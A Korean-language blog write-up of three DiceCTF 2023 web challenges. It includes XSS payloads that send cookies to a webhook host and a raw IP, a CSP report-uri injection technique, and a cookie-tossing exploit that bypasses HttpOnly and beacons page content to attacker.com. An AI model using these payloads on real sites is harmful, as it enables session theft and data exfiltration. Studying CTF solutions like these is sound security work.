🗂️ INDEX

글 작성자: Universe7202

대회 당일날 웹 한문제 밖에 못 풀었지만, 이후 writeup을 보고 정리하고자 한다.

 

 

1. recursive-csp

 

해당 문제는 GET 파라미터로 전달한 값을 그대로 출력하여 XSS 가 가능하다. 하지만, 이 값을 암호화 하여 csp 정책에 들어가게 된다.

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>

 

crc32b를 통한 암호화 결과는 8자리 이므로, 다음과 같이 트리거 시킬 xss payload와 이 값의 crc32b와 같은 값을 찾는 코드를 작성해준다. 만족하는 payload를 얻어내어 flag를 획득한다.

<?php
    for($i = 0x00000000; $i != 0xffffffff; $i++){
        $data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
        $gen = '<script nonce="'.$data.'">location.href=`http://webhook.com/?${document.cookie}`</script>';
        $nonce = hash("crc32b", $gen);

        if ($data === $nonce){
            echo "found\n";
            echo $gen;
            exit();
        }
    }
    
    // https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2217b4fd97%22%3Elocation.href=`http://220.92.92.131:8000/?cookie=${document.cookie}`%3C/script%3Ectf
    // dice{h0pe_that_d1dnt_take_too_l0ng}
?>

 

 

2. codebox

 

이번 문제도 CSP 관련 문제이다. 사용자가 입력한 img tag의 src 값이 CSP에 들어가는 것을 볼  수 있다.

src에 대한 어떠한 필터링이 없기 때문에 CSP에 추가적인 directive를 넣을 수 있다.

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

 

CSP에서 `report-uri` 라는 directive가 있다. 이에 대한 설명은 다음과 같다.

CSP를 위반하였을 경우, 이를 보고하도록 사용자 에이전트(브라우저를 뜻하는 듯?)에게 지시한다.
이 위반 보고서는 HTTP POST 요청을 통해 JSON 데이터를 포함한 지정된 URI로 전송된다.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri

예를 들어, 다음과 같이 `report-uri` 지시문을 통해 지정된 URI 로 위반 보고서를 전송하게 된다.

Content-Security-Policy: report-uri https://lactea.kr;

 

 

위 설명을 바탕으로 다음과 같이 문제 서버에 값을 전달하면 성공적으로 CSP에 directive를 넣을 수 있다.

 

하지만, 위 script 태그는 아래 javascript 코드로 인해 실행되지 않는다.

iframe 태그를 생성하여 srcdoc에 html code를 넣지만, `sandbox` attr 때문에 script가 실행되지 않는다.

따라서 위 javascript 때문에 아래 사진처럼 브라우저에서 이를 실행하지 않는다.

이는 CSP로 차단된 것이 아니기 때문에 `report-uri` directive 가 동작하지 않는다.

 

CSP directive 중에 `require-trusted-types-for` 라는 directive가 있다.

이 directive에 대한 설명은 다음과 같다.

Element.innerHTML setter와 같은 DOM XSS sink function에 전달된 데이터를 제어하도록
사용자 에이전트(브라우저?)에게 지시한다.

다음과 같은 Syntax를 지원한다.
- script
	DOM XSS 주입 sink function과 같은 문자열을 사용할 수 없음.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for

 

솔직히 위 directive에 대한 이해가 잘 되진 않는데, 후배의 도움을 받아 이해한바로는,

Element.innerHTML 과 같은 setter는 html 코드를 DOM에 주입하여 실행하게 된다.

만약 `require-trusted-types-for 'script'` directive가 CSP에 있다면, Element.innerHTML setter 등 이런 것들은 사용하지 못하도록 막는다.

 

따라서 다음과 같이 입력하여 전송한다.

 

`require-trusted-types-for 'script'` CSP로 인해 Element.innerHTML이 정책에 걸려 `report-uri` directive가 작동한 것을 볼 수 있다. 전송된 패킷을 보면, 어디에서 CSP 위반되었는지를 알 수 있다. 

 

다시 javascript 코드를 보면, 위 CSP에 걸린 위치는 대략 50번째 줄이다. 우리는 flag 값을 넣는 58번째 줄에 CSP 위반을 유도해야 한다.

즉, if 문을 동작하지 않게 하기 위해서는, 다음과 같이 code 라는 파라미터를 2개로 보낸다.

하나는 빈 값이고, 나머지 하나는 CSP를 넣는 payload 이다.

report 패킷을 확인해 보면, 가짜 flag를 전송한 것을 볼 수 있다.

이를 bot에게 전달하면 flag를 획득할 수 있다.

dice{i_als0_wr1te_csp_bypasses}

 

 

3. jnotes

 

이 문제는 java의 Javalin 웹 프레임워크를 사용한 문제이다.

admin의 Cookie를 탈취해야 하는 문제인데, `HttpOnly` 가 설정되어 있어 document.cookie 와 같은 방법으론 Cookie를 탈취할 수 없다.

public class App {
    public static String DEFAULT_NOTE = "Hello world!\r\nThis is a simple note-taking app.";

    public static String getNote(Context ctx) {
        var note = ctx.cookie("note");
        if (note == null) {
            setNote(ctx, DEFAULT_NOTE);
            return DEFAULT_NOTE;
        }
        return URLDecoder.decode(note, StandardCharsets.UTF_8);
    }

    public static void setNote(Context ctx, String note) {
        note = URLEncoder.encode(note, StandardCharsets.UTF_8);
        ctx.cookie(new Cookie("note", note, "/", -1, false, 0, true));
    }

    public static void main(String[] args) {
        var app = Javalin.create();

        app.get("/", ctx -> {
            var note = getNote(ctx);
            ctx.html("""
                    <html>
                    <head></head>
                    <body>
                    <h1>jnotes</h1>

                    <form method="post" action="create">
                    <textarea rows="20" cols="50" name="note">
                    %s
                    </textarea>
                    <br>
                    <button type="submit">Save notes</button>
                    </form>

                    <hr style="margin-top: 10em">
                    <footer>
                    <i>see something unusual on our site? report it <a href="https://adminbot.mc.ax/web-jnotes">here</a></i>
                    </footer>
                    </body>
                    </html>""".formatted(note));
        });

        app.post("/create", ctx -> {
            var note = ctx.formParam("note");
            setNote(ctx, note);
            ctx.redirect("/");
        });
        
        app.start(1337);
    }
}

 

 

Javalin 웹 프레임워크에서 Cookie 값을 구분짓는 방법은 다음과 같습니다.

  • 더블쿼터의 시작과 끝을 기준으로 Cookie 값을 구분
  • 세미콜론은 이때의 상황에서는 무시됨

만약 다음과 같은 값을 Cookie로 파싱한다면, 결과는 다음과 같습니다.

"asdf; FLAG=FLAG{aaaa}; test: value";

Cookie: note=asdf; FLAG=FLAG{aaaa}; test: value

console.log(document.cookie);
// asdf; FLAG=FLAG{aaaa}; test: value

 

하지만, 위 상황은 임의로 넣은 cookie 값 사이에 flag 라는 Cookie가 들어가야 합니다. 즉, Cookie 가 어떻게 정렬되는지를 알아야 합니다.

크롬 브라우저는 다음과 같은 순서로 Cookie를 정렬합니다.

  • 가장 긴 path 값을 기준으로 정렬
  • 최근에 업데이트 된 것으로 정렬

따라서 최종 payload는 다음과 같습니다.

<!DOCTYPE html>
<html lang="en">
  <body>
    <form method="POST" action="https://jnotes.mc.ax/create">
      <input id="p" name="note" value="" />
    </form>

    <script>
      document.querySelector("#p").value = `
      <\x73cript>
      if (window.location.pathname !== "//") {
        document.cookie = 'note=; Max-Age=-1';
        document.cookie = '=note="uhhh; path=//';
        document.cookie = 'END=ok" ; path=';
        w = window.open('https://jnotes.mc.ax//');
        setTimeout(()=>{
          ex = w.document.body.innerHTML;
          navigator.sendBeacon('https://attacker.com', ex);
        }, 500);
      }
      `;
      document.forms[0].submit();
    </script>
  </body>
</html>

 

'🚩CTF' 카테고리의 다른 글

hacktm ctf 2023 writeup  (0) 2023.02.21
lactf 2023 writeup  (0) 2023.02.14
DiceCTF 2022 writeup  (0) 2022.07.25
[WACon 2022] yet_another_baby_web  (0) 2022.06.28
[WACon 2022] ppower write up  (2) 2022.06.28